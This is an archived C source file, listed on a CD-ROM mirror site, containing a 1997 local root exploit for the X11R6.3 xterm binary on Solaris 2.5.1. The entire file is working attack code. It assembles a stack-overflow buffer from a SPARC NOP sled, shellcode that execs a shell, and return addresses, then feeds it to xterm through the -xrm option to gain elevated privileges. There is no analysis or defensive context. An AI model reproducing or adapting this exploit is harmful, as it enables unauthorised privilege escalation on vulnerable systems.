home *** CD-ROM | disk | FTP | other *** search
/ Chip 2007 January, February, March & April / Chip-Cover-CD-2007-02.iso / Pakiet bezpieczenstwa / mini Pentoo LiveCD 2006.1 / mpentoo-2006.1.iso / livecd.squashfs / opt / pentoo / ExploitTree / system / solaris / local / xterm.c < prev   
C/C++ Source or Header  |  2005-02-12  |  2KB  |  81 lines

  1. /*
  2.  *  X11R6.3 xterm exploit for solaris 2.5.1 by DCRH 28/5/97
  3.  *
  4.  */
  5.  
  6. #include <stdio.h>
  7. #include <stdlib.h>
  8. #include <sys/types.h>
  9. #include <unistd.h>
  10.  
  11. #define EXTRA2 1300
  12. #define BUF_LENGTH 400
  13. #define EXTRA 500
  14. /* Need an addr such that contents of addr+0xe98 = 0 */
  15. #define SAFE_ADDR ((unsigned)0xefff2008)
  16. #define STACK_OFFSET 0x4800
  17. #define SPARC_NOP 0xa61cc013
  18.  
  19. u_long sparc_shellcode[] =
  20.   {
  21.     0x2d0bd89a, /* sethi  %hi(0x2f626800), %l6  */
  22.     0xac15a16e, /* or  %l6, 0x16e, %l6    [2000]*/
  23.     0x2f0bdadc, /* sethi  %hi(0x2f6b7000), %l7  */
  24.     0xae15e368, /* or  %l7, 0x368, %l7    [2000]*/
  25.     0x900b800e, /* and  %sp, %sp, %o0     [2000]*/
  26.     0x9203a00c, /* add  %sp, 0xc, %o1     [2000]*/
  27.     0x941ac00b, /* xor  %o3, %o3, %o2     [2000]*/
  28.     0x9c03a014, /* add  %sp, 0x14, %sp    [2000]*/
  29.     0xec3bbfec, /* std  %l6, [ %sp + -20 ][2000]*/
  30.     0xc023bff4, /* clr  [ %sp + -12 ]     [2000]*/
  31.     0xdc23bff8, /* st  %sp, [ %sp + -8 ]  [2000]*/
  32.     0xc023bffc, /* clr  [ %sp + -4 ]      [2000]*/
  33.     0x8210203b, /* mov  0x3b, %g1         [2000]*/
  34.     0x91d02008, /* ta  8                  [2000]*/
  35.     0xffffffff, /* illegal                [2000]*/
  36.   };
  37.  
  38. u_long get_sp(void)
  39. {
  40.   asm("mov %sp,%i0 \n");
  41. }
  42.  
  43. char buf[BUF_LENGTH + EXTRA + EXTRA2 + 8];
  44. char longvar[0x4000] = "BLAH=";
  45.  
  46. void main(int argc, char *argv[])
  47. {
  48.   char *env[2];
  49.   unsigned long targ_addr;
  50.   u_long *long_p;
  51.   int i, code_length = sizeof(sparc_shellcode),dso=0;
  52.  
  53.   if(argc > 1) dso=atoi(argv[1]);
  54.   long_p =(u_long *) buf;
  55.  
  56.   for (i = 0; i < EXTRA2 / sizeof(u_long); i++)
  57.     *long_p++ = (SAFE_ADDR >> 8) | (SAFE_ADDR << 24);
  58.  
  59.   targ_addr = get_sp() - STACK_OFFSET - dso;
  60.   for (i = 0; i < (BUF_LENGTH - code_length) / sizeof(u_long); i++)
  61.     *long_p++ = SPARC_NOP;
  62.  
  63.   for (i = 0; i < code_length / sizeof(u_long); i++)
  64.     *long_p++ = sparc_shellcode[i];
  65.  
  66.   for (i = 0; i < EXTRA / sizeof(u_long); i++)
  67.     *long_p++ = targ_addr;
  68.  
  69.   printf("Jumping to address 0x%lx B[%d] E[%d] SO[%d]\n",
  70.          targ_addr,BUF_LENGTH,EXTRA,STACK_OFFSET);
  71.  
  72.   /* This is just to shove the stack down a bit */
  73.   memset(&longvar[5], 'a', sizeof longvar-6);
  74.   longvar[sizeof longvar -1] = '\0';
  75.   env[0] = longvar;
  76.   env[1] = NULL;
  77.  
  78.   execle("./xterm", "xterm", "-xrm", buf,(char *) 0, env);
  79.   perror("execl failed");
  80. }
  81. /*                    www.hack.co.za              [2000]*/